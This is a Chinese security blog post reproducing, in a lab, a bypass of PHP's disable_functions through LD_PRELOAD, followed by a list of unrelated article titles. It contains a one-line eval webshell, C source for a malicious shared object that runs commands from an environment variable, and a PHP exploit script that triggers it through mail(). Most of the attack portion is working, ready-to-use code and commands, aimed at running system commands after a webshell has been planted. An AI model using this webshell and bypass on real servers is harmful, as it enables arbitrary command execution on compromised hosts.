一种绕过php disablefunc的方法复现
前言
无意中刷到一个文章,关于disablefunction的方法绕过的,依然是脚本小子式的复现环境。
我们也知道在渗透测试中经常会出现这种情况,写了shell,但是执行不了系统函数,这个时候不妨看看php的PHP info(),页面,通常就是函数被禁用,被禁用的话会很尴尬,因为自己种的马骑不了,所以这个时候就想办法绕过了。绕过的原理原理就是加上一个so文件啊,让执行系统函数的时候,默认执行我们做好的同名函数。
环境搭建
ubuntu+apache2+php7.2
配置
/etc/php/7.2/apache2/php.ini
设置
disable_functions = system,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
然后重启apache2 服务器
这样就能把system禁用了
然后在网站的根目录上放一个shell.php
<?php @eval($_GET['fz41']);?>
访问shell.php
可以正常执行php的代码,不能执行系统函数。
测试访问
http://192.168.44.139/shell.php?fz41=phpinfo();
可以看见phpinfo()的信息
访问
http://192.168.44.139/shell.php?fz41=system(ls);
没有任何回显
环境配置成功,我们的任务就是通过劫持函数的方法来绕过这个disable_functions 的限制,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
原理解读
LD_PRELOAD的作用
LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的
我们要做的就是通过修改环境变量LD_PRELOAD,让php启动新的进程的时候加载我们设置好的函数,比如说system()这样一来,就可以做到bypass了,只要启用了新的进程就有机会加载我们在上一个进程中构造的函数,通过测试可知mail可以创建新的进程,另外一个问题就是,如何构造我们想执行的函数,比如system()
attribute((constructor))
GCC 有个 C 语言扩展修饰符 attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute((constructor)) 修饰的函数。
因此,可以通过这个方式来构造函数,把我们要执行的命令放在环境变量里,执行时直接加载环境变量的命令,就可以做到绕过了
代码类似这种
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__ ((__constructor__)) void preloadme (void)
{
unsetenv("LD_PRELOAD");
const char* cmdline = getenv("EVIL_CMDLINE");
system(cmdline);
}
工具使用
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
复现
gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc2.so
然后写利用如下php
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc2.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
然后访问
http://192.168.44.139/bypass_disablefunc.php?cmd=whoami&outpath=/tmp/xx&sopath=/var/www/html/bypass_disablefunc2.so
参考链接
https://www.freebuf.com/articles/web/192052.html
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
- python 聚类分析实战案例:K-means算法(原理源码)
- JAVA面试题解惑——final、finally和finalize的区别
- Java内存管理
- python基础知识——内置数据结构(字典)
- mysql、mongodb、python(dataframe).聚合函数的形式,以及报错解决方案
- JavaScript计算水仙花数【可自定义范围】
- JSP简单入门(1)
- mongodb取出json,利用python转成dataframe(dict-to-dataframe)
- JSP简单入门(2)
- JSP简单入门(3)
- 物化视图相关的性能改进 (r7笔记第58天)
- Maven 核心原理解析(1)
- LeetCode——Two Sum
- TensorFlow全新的数据读取方式:Dataset API入门教程
- php概述
- php教程
- php环境搭建
- PHP书写格式
- php变量
- php常量
- PHP注释
- php数组
- php字符串 string
- PHP整型 integer
- PHP浮点型 float
- php布尔型
- php数据类型之数组
- php数据类型之对象
- php数据类型之null
- php数据类型之间的转换
- php运算符
- php表达式
- PHP循环控制
- PHP流程控制
- php函数
- php全局变量
- PHP魔术变量
- php命名空间
- php 日期
- PHP包含文件
- php文件
- PHP 文件上传
- php Cookies
- php Sessions
- php email
- php安全email
- php错误处理
- PHP异常处理
- php过滤器
- PHP 高级过滤器
- php json
- php 表单
- PHP MySQL 简介
- PHP 连接 MySQL
- php创建数据库
- php 创建表
- php mysq 插入数据
- PHP MySQL 插入多条数据
- PHP MySQL 预处理语句
- php mysql 读取数据
- php mysql where
- PHP MySQL Order By
- PHP MySQL Update
- PHP MySQL Delete
- php ODBC
- Android中的颜色表示的详解
- android使用SoundPool播放音效的方法
- android中Context深入详解
- Android中Notification通知用法详解
- Android build文件的删除的方法
- Android自定义Notification添加点击事件
- 深入理解Android Bitmap
- Android基于AlarmManager实现用户在线心跳功能示例
- 详解Android中获取软键盘状态和软键盘高度
- Android流式布局FlowLayout详解
- Linux 专题
- Go语言实现UDP通信
- Android多渠道打包的方法步骤
- Android编程实现压缩图片并加载显示的方法
- Android串口通信封装之OkUSB的示例代码